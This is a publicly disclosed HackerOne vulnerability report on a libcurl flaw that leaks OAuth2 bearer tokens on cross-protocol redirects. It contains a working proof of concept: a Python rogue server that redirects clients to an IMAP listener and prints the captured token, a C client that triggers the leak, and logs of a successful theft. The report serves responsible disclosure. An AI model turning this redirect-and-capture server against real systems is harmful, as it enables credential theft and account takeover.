HexBrain

curl · Report #3459417

CVE-2025-14524: bearer token leak on cross-protocol redirect

Validstatus
lowseverity
17upvotes
7 Jan 2026disclosed

How it was found

Summary:

A vulnerability exists in libcurl regarding the handling of OAuth2 Bearer tokens (CURLOPT_XOAUTH2_BEARER) during HTTP redirects.

While libcurl correctly clears standard authentication credentials (CURLOPT_USERPWD) when following a redirect to a different host, port, or protocol (a security hardening introduced to fix CVE-2022-27774), it fails to apply the same logic to the OAuth2 Bearer token.

If an application using libcurl connects to a trusted server but is redirected to a malicious server (e.g., via an Open Redirect vulnerability) on a protocol supporting SASL (like IMAP, SMTP, or POP3), the valid Bearer token is automatically sent to the attacker. This happens because the token remains in the handle and is reused for the new connection, allowing the attacker to steal the credentials.

AI Statement: This report was researched and generated with the assistance of an AI agent to analyze the libcurl source code and identify inconsistent state management logic. However, the vulnerability has been manually verified, the Proof of Concept code was compiled and executed locally, and the findings have been confirmed against a custom TCP server to ensure validity and reproducibility.

Affected version

The vulnerability was reproduced on the following version:

curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

Vulnerable Code Analysis

The issue lies in the HTTP redirect handling logic (typically within lib/http.c, function Curl_http_follow or similar transfer logic depending on the version).

When libcurl detects a redirect that crosses a security boundary (change of host, port, or protocol), it explicitly clears the username and password to prevent leaks. However, it overlooks the Bearer token string.

/* Pseudo-code representation of the logic in lib/http.c */

/* ... inside redirect handling ... */
if(!data->set.allow_auth_to_other_hosts && (type != FOLLOW_FAKE)) {
    /* Logic to detect host/port/protocol change */
    
    if(clear) {
        /* CVE-2022-27774 Fix: Clears standard credentials */
        Curl_safefree(data->state.aptr.user);
        Curl_safefree(data->state.aptr.passwd);
        
        /* VULNERABILITY: The OAuth2 Bearer token is NOT cleared here. */
        /* Missing: Curl_safefree(data->set.str[STRING_BEARER]); */
    }
}

Because data->set.str[STRING_BEARER] is not cleared, when the new connection to the redirected URL (e.g., imap://attacker.com) is established, libcurl sees a valid Bearer token in the handle and attempts to use it for SASL authentication (AUTHENTICATE XOAUTH2), leaking the secret.

Steps To Reproduce:

We simulate a scenario where a client connects to a trusted HTTP server but is redirected to a rogue IMAP server controlled by the attacker.

  1. Start the Rogue Server: Run the provided rogue_server.py. It listens on port 8080 (HTTP) and port 1430 (IMAP). It will redirect HTTP requests to the IMAP port with a forced username to trigger SASL authentication.
  2. Compile the Vulnerable Client: Compile poc.c using gcc -o poc poc.c -lcurl. This client sets a Bearer token and enables redirects.
  3. Run the Client: Execute ./poc.
  4. Observe the Leak: The rogue_server.py output will display the stolen Bearer token received on the IMAP port.

Supporting Material/References:

1. Rogue Server (rogue_server.py)

import socket
import threading
import re

def http_redirector():
    host = '127.0.0.1'
    port = 8080
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[HTTP] Redirector listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            req = conn.recv(1024)
            # ASTUCE : On redirige vers "imap://victim@..."
            # Cela donne à curl un utilisateur pour la nouvelle connexion,
            # ce qui lui permet de tenter l'auth SASL avec le token "oublié".
            redirect = (
                "HTTP/1.1 301 Moved Permanently\r\n"
                "Location: imap://[email protected]:1430/\r\n"
                "Content-Length: 0\r\n\r\n"
            )
            conn.sendall(redirect.encode())
            print("[HTTP] Sent 301 Redirect to imap://[email protected]:1430/")

def imap_stealer():
    host = '127.0.0.1'
    port = 1430
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[IMAP] Stealer listening on {host}:{port}")
        
        conn, addr = s.accept()
        with conn:
            print(f"[IMAP] Victim connected from {addr}")
            conn.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready\r\n")
            
            while True:
                data = conn.recv(4096).decode('utf-8', 'ignore')
                if not data: break
                print(f"[IMAP] Received: {data.strip()}")
                
                tag_match = re.match(r"^(\w+)\s", data)
                tag = tag_match.group(1) if tag_match else "*"

                if "CAPABILITY" in data.upper():
                    response = f"* CAPABILITY IMAP4rev1 AUTH=XOAUTH2\r\n{tag} OK Capability completed\r\n"
                    conn.sendall(response.encode())
                
                elif "LIST" in data.upper():
                    # On refuse le LIST pour forcer l'auth
                    response = f"{tag} NO [AUTHENTICATIONREQUIRED] Please login first\r\n"
                    conn.sendall(response.encode())

                elif "AUTHENTICATE XOAUTH2" in data.upper():
                    conn.sendall(b"+\r\n")
                    token_data = conn.recv(4096).decode('utf-8', 'ignore')
                    print("\n" + "="*50)
                    print(f"[!!!] STOLEN TOKEN: {token_data.strip()}")
                    print("="*50 + "\n")
                    break

if __name__ == "__main__":
    t1 = threading.Thread(target=http_redirector)
    t2 = threading.Thread(target=imap_stealer)
    t1.start()
    t2.start()

2. Vulnerable Client (poc.c)

Note: CURLOPT_UNRESTRICTED_AUTH is NOT enabled. The credentials should be protected, but the Bearer token leaks.

#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    const char *secret_token = "MY_SECRET_GOLDEN_TICKET";

    printf("--- PoC V4: OAuth2 Bearer Token Leak on Redirect ---\n");

    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();

    if(curl) {
        // 1. URL HTTP initiale
        curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:8080/resource");

        // 2. Configuration du Token
        curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token);
        
        // 3. On met un user initial (optionnel, mais réaliste)
        curl_easy_setopt(curl, CURLOPT_USERNAME, "initial_user");

        // 4. Autoriser la redirection
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        // On autorise explicitement IMAP car les versions récentes de curl
        // sont restrictives sur les protocoles par défaut.
        curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap");

        // 5. IMPORTANT : On n'active PAS CURLOPT_UNRESTRICTED_AUTH.
        // Le but est de prouver que le token fuite MÊME quand curl essaie de sécuriser les identifiants.

        // Debug
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        printf("[*] Sending request...\n");
        curl_easy_perform(curl);

        curl_easy_cleanup(curl);
    }
    return 0;
}

3. Execution Logs

Output from the rogue_server.py terminal showing the successful theft of the token:


python3 rogue_server.py
[HTTP] Redirector listening on 127.0.0.1:8080
[IMAP] Stealer listening on 127.0.0.1:1430
[HTTP] Sent 301 Redirect to imap://[email protected]:1430/
[IMAP] Victim connected from ('127.0.0.1', 36232)
[IMAP] Received: B001 CAPABILITY
[IMAP] Received: B002 AUTHENTICATE XOAUTH2

==================================================
[!!!] STOLEN TOKEN: dXNlcj12aWN0aW0BYXV0aD1CZWFyZXIgTVlfU0VDUkVUX0dPTERFTl9USUNLRVQBAQ==
==================================================


(Decoded token: user=victim^Aauth=Bearer MY_SECRET_GOLDEN_TICKET^A^A)

Impact

This vulnerability leads to a critical breach of credential confidentiality:

1. Theft of Sensitive OAuth2 Tokens: The primary impact is the exfiltration of the valid Bearer token to an attacker-controlled server. Unlike Basic Auth passwords which might be site-specific, OAuth2 tokens often grant broad access to APIs, user data (emails, files), or Single Sign-On (SSO) sessions.

2. Account Takeover & Impersonation: Armed with the stolen token, an attacker can impersonate the victim against the legitimate service provider (e.g., Gmail, Office 365, or internal APIs). They can perform any action permitted by the token's scope (e.g., reading private emails, modifying data) without the user's knowledge.

3. Bypass of Security Hardening (CVE-2022-27774 Regression): This vulnerability effectively bypasses the security protections introduced in CVE-2022-27774. While libcurl successfully protects legacy user:password credentials from leaking during cross-protocol redirects, it fails to protect modern OAuth2 credentials, leaving applications that rely on libcurl's default security behavior vulnerable.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original